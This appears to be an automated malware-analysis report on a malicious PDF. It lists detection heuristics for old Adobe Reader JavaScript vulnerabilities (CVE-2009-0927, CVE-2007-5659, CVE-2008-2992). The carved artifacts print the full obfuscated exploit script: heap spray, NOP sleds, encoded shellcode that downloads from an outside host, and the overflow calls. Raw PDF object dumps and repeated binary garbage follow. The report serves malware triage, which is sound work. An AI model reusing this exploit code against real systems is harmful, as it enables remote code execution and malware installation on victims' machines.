Malicious PDF — malware analysis report

Static analysis result for SHA-256 ebf91809deda4a95…

MALICIOUS

PDF

7.5 KB First seen: 2013-04-17
MD5: 41953edfd720e181fbb600aa6aad5f87 SHA-1: ef2615bd3b6c5734c9586d71ee65001e27cba3c0 SHA-256: ebf91809deda4a9597569fdeff46f79a3fc98747ebfee82fadab1f9c633d57a3
612 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (matched in decompressed stream)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    app.eval();
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0116_000.js pdf-javascript-stream PDF /JS object 116 at offset 0x497 6226 bytes
SHA-256: b76d84f295d03d1a47393461af8d12c22990f4e815990101c50f39bb397736c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var MFL=unescape,DJn=app.viewerVersion.toString(),kMA=MFL("t\h\i\s");kMA=eval(kMA);if(DJn<8)
{MtcTW();}
if(DJn>=8&&DJn<9)
{MMi();}
if(DJn<=9)
{MYwzq();}
function JmXCz(bbNvL,oUegI){while(bbNvL.length*2<oUegI){bbNvL+=bbNvL;}
return bbNvL.substring(0,oUegI/2);}
function MtcTW(){var tfgdL=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0032\u0000\u0000");var VDPnC=0x0c0c0c0c;var nqDKR=[];var QgSEq=0x400000;var lCmGt=tfgdL.length*2;var oUegI=QgSEq-(lCmGt+0x38);var bbNvL=MFL("\u9090\u9090");bbNvL=JmXCz(bbNvL,oUegI);var KORIh=(VDPnC-0x400000)/QgSEq;for(var IQzvs=0;IQzvs<KORIh;IQzvs++){nqDKR[IQzvs]=bbNvL+tfgdL;}
var JYDbF=MFL("\u0c0c\u0c0c");while(JYDbF.length<44952)JYDbF+=JYDbF;this.collabStore=Collab.collectEmailInfo({subj:"",msg:JYDbF});}
function MMi(){var LXu=new Array();function Nlf(vqq,QRr){while(vqq.length*2<QRr){vqq+=vqq;}
vqq=vqq.substring(0,QRr/2);return vqq;}
RNZ=0x30303030;cYO=MFL("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0031\u0000\u0000\u0000%32%44%32%44");var hRb=0x400000;var iHM=cYO.length*2;var QRr=hRb-(iHM+0x38);var vqq=MFL("\u9090\u9090");vqq=Nlf(vqq,QRr);var hky=(RNZ-0x400000)/hRb;for(var Osy=0;Osy<hky;Osy++){LXu[Osy]=vqq+cYO;}
var xtT="06323052893310368539";for(MFL=0;MFL<138*2;MFL++){xtT+="0";}
util.printf("%4"+"50"+"00"+"f",xtT);}
function KMB(QMd)
{QMd=QMd.replace(/[\+1]/g,"0");QMd=QMd.replace(/[\+2]/g,"9");QMd=QMd.replace(/[\+3]/g,"8");QMd=QMd.replace(/[\+4]/g,"7");QMd=QMd.replace(/[\+5]/g,"6");QMd=QMd.replace(/[\+6]/g,"5");QMd=QMd.replace(/[\+7]/g,"4");QMd=QMd.replace(/[\+8]/g,"3");QMd=QMd.replace(/[\+9]/g,"2");QMd=QMd.replace(/[\+0]/g,"1");return QMd;}
function MYwzq(){var idARw=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0033\u0000\u0000");nYT=MFL("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+idARw;szv=MFL("\u9090\u9090");LMv=5*2;oZx=LMv+nYT.length;while(szv.length<oZx)szv+=szv;PyG=szv.substring(0,oZx);Mim=szv.substring(0,szv.length-oZx);while(Mim.length+oZx<0x40000)Mim=Mim+Mim+PyG;QXz=[];for(OEO=0;OEO<180;OEO++)QXz[OEO]=Mim+nYT;var jvj=4012;var cMP=Array(jvj);for(OEO=0;OEO<jvj;OEO++)
{cMP[OEO]=MFL("\u000a\u000a\u000a\u000a");}
Collab.getIcon(cMP+"_N"+".b"+"un"+"dl"+"e");}
javascript_obj0123_002.js pdf-javascript-stream PDF /JS object 123 at offset 0x36E 6760 bytes
SHA-256: 2571a4f3376c44bde174900526843d068bbd188f9b85bc5135a068ff2e947821
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
app.eval();
endstream
endobj
73 0 obj<</Subtype/XML/Length 224/Type/Metadata>>stream
©N> u «а©1XЄѕ»&Ї Єш'v/щ(шпС;с-nsd02`Б№Ђ0_5¦ћќ9%lч|Ъ|5‘•@ Ж‹эся ЄLД"  –Љ “©д«9иhS/ќkSЃcш-2T†ЮсѕqИ   ЊѓМwF} oN РХbљEИ iH\\ Лт
endstream
endobj
116 0 obj
<</ / / / /Filter/#46#6c#61#74#65#44#65#63#6f#64#65/Length 2000+054>>
stream
x �XmS 9 ��_�rU��5! iFҬ=W5���Hp $��,���1�1� H�����q�|�� ���/O�ZR�ij����^�. ��lpx1ܨ_O�Ë�ͫ��z8�}8���'������hr�lm��+ X4 ��i ԟ5Z b
� �M Z��q  ]�zvۛ >����|  ��*�O?�0'aotO�-����撹Nj�` ��_�}�n�GGo��7�  �l�n�OG�adm������ϲ���b�� �� ���9 ݜ-�fq "B�� ���2�[J�����v�h ��T�S ��/��@�����
�T$�� 
�^��w� �"�/B� � �� h RO� c� �� ̓N�Q  ı�ސ� L� �]N �X�&%�  u ��0�R���� �1��3�
�Y'!� �J :UI���  F��� &� A�"Hƴ���k �f-=k�9� &��  y��Y� ��h��DƴN({����-��7�P$9�N� yt��-�u� ���0�:�� }Y�` � �<T ����!L�� Eh����As$dU �'<��� M�Q�N{�ʱ�0���j�˒v�� М"_U�#{�Z���=`�| O^&� s  ;�t ̱ ?� a:�-�>��+ʏ� "L� �
9p\E3º�ȱ����k�WЏ3��r� O\���9  ��)�"p� Ə���o�9��!*�)����V�e���֤S+��� � !f�V_�|"L.!�4S� �4�h�� �� *ʹ� ��9I}E9�+�ZbG���:�*f���H��BȰ�I]# o M&�V���[� �!� �IR�楃�� " )G�-=���
V^� K� 倬$��.j�U"� kG���D�(���3�x���{)J֡*aR�, a��2  SJ�T M����Io({^#?�bi � �5XM �� �  ��
��\�#�  FjD�3 K�hlJ��l!�����$LAyˌ�L� �ET��(�ye�t�:  0�������	�D��D����ݤ*�W1��̜\�o��� ��{��_B#%[��qu���&�j1,�6S���&k��We�+n3wM# 9 !�@��a/c�7;{[�E� }y F� ;� �O�4��ݛ�Y!:��e�8n�[�<�}  ������������(��EY@�@ Wl�,_γ��y&[�j �љ��f���������|:,* 3k8�����xkr|޼E���K��q6;��m��wX��� ���E1 ^?/���o���&�v|ܼ����ݛ�uz|]-B���  ���%�֚;t��/� ��{� �X��� |ڹKH%�[[>QJ��{*���
K��	� w�u%v�� � �K������6�d�K ��L���Ʃ�R��+��ܿ3��t�Ғ�<���f�Ǚ��Q�;�(E�T(�*�t'0����� qҜn!iB�B)�Si�� P�   �(rKhU�  � �T� %�i ��d�|y�xP(�/X� _�ga]
���hk� �4jR � if"�I�5[Y _�5ΰR ���( �nQ�
8��n� ��!�   �¦\�� ��D��j� �	 ے�An=2�-� � V:�j��B   hY� �� ��t �7�e�E���@������T��K��M% �� TiB�!�� �Ĉ ᵰ� <�,<g)#~f�+�@ ^T ��߈���Դ��s��P�E�F��ݧ{G�uy��^���* \?q� h�lBz� Se��J�«ZL��U�1N��V4Q#��_@����� j/h ��IU 5l � �?mD���_� ���J*l �q� ���� ��sKt@���?K   ��0k d1 �7/�ޚ 7 /�F��	 A丱 ͵���皻��xR� �ۜ /Ƈ�a��~�� �:� n��wR��� �b�}D���<"�X� �j�f�H
K�G���� i�R��T�4�t� � d|�}z� �-j��ܻ��AOO��'�� ��	�� ���O@���. ��O �j�� �� ������F�� �3��z���	۽�"Å���� �m��=r� ���# :-|m  �w�~�ϵ'&)tz�� �  /Y'�����n��]>�[ ��6��Kg��
�S���;~�n�~��X��% �}p � �����՗" ��/�޻">��ƫz
 ,  г[(.�� �|f  Rd����c�d8� �O��l7�� w��#�� �� dH�� ��.�x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�
endstream
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1990 0 obj
<</ / / / /S/#4a#61#76#61#53#63#72#69#70#74/JS 116 0 R/ / / />>
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
5 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
9 0 obj
<</ / / / /count 2/Type/Pages/Kids[1894 0 R]/ / / />>
endobj
123 0 obj
<</ / / / /Length 0000>>
stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
endstream
endobj
23 0 obj<</CropBox[0 0 595.22 842]/Parent 62 0 R/Contents 25 0 R/Rotate 0/MediaBox[0 0 595.22 842]/Resources 24 0 R/Type/Page>>
endobj
24 0 obj<</ColorSpace<</Cs6 59 0 R>>/Font<</TT2 52 0 R/TT3 54 0 R/TT4 45 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS1 57 0 R>>>>
endobj
25 0 obj[26 0 R 27 0 R 28 0 R]
endobj
26 0 obj<</Length 3>>stream
Y.в
endstream
endobj
91 0 obj
<</ / / / /S/JavaScript/JS 123 0 R/ / / />>
endobj
xref
trailer
<<
/Root 15 0 R
>>
startxrefx� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 116 at offset 0x497 6205 bytes
SHA-256: f38419840abd069447d511a5f1b86aae992902b7b9ff2e3cc694774cbb8c8cf3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var MFL=unescape,DJn=app.viewerVersion.toString(),kMA=MFL("t\h\i\s");kMA=eval(kMA);if(DJn<8)
{MtcTW();}
if(DJn>=8&&DJn<9)
{MMi();}
if(DJn<=9)
{MYwzq();}
function JmXCz(bbNvL,oUegI){while(bbNvL.length*2<oUegI){bbNvL+=bbNvL;}
return bbNvL.substring(0,oUegI/2);}
function MtcTW(){var tfgdL=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0032\u0000\u0000");var VDPnC=0x0c0c0c0c;var nqDKR=[];var QgSEq=0x400000;var lCmGt=tfgdL.length*2;var oUegI=QgSEq-(lCmGt+0x38);var bbNvL=MFL("\u9090\u9090");bbNvL=JmXCz(bbNvL,oUegI);var KORIh=(VDPnC-0x400000)/QgSEq;for(var IQzvs=0;IQzvs<KORIh;IQzvs++){nqDKR[IQzvs]=bbNvL+tfgdL;}
var JYDbF=MFL("\u0c0c\u0c0c");while(JYDbF.length<44952)JYDbF+=JYDbF;this.collabStore=Collab.collectEmailInfo({subj:"",msg:JYDbF});}
function MMi(){var LXu=new Array();function Nlf(vqq,QRr){while(vqq.length*2<QRr){vqq+=vqq;}
